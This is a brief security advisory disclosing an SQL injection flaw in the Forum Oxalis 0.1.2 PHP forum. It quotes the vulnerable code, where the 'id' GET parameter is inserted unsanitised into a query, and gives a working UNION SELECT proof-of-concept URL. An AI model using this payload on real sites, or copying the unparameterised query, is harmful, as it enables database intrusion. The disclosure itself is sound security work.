Forum Oxalis 0.1.2 – SQL Injection
################################################# Forum Oxalis 0.1.2 <= SQL Injection Vulnerability ################################################# Discovered by: Jean Pascal Pereira <pereira@secbiz.de> Vendor information: "Forum Oxalis is a minimalis GPL PHP forum using CSS." Vendor URI: http://developer.berlios.de/projects/forumoxalis/ ################################################# Risk-level: High The application is prone to a remote SQL injection vulnerability. ------------------------------------- func.php, line 72: function lister_messages($id, $page, $parpage) { global $mysql_table; $resu = mysql_query("select * from `$mysql_table` where id=$id"); $nombre_messages = mysql_num_rows($resu); forum.php, line 7: $id = $_GET['id']; forum.php, line 74: case "message": lister_messages($id, $page, $reponses_par_page); $reponse_a_id = $id; break; ------------------------------------- Exploit / Proof Of Concept: http://localhost/ForumOxalis/index.php?id=99999/**/UNION/**/SELECT/**/0x00,version(),0x00,0x00,0x00,0x00,0x00,0x00,0x00&action=message ------------------------------------- Solution: Do some input validation. ------------------------------------- ################################################# |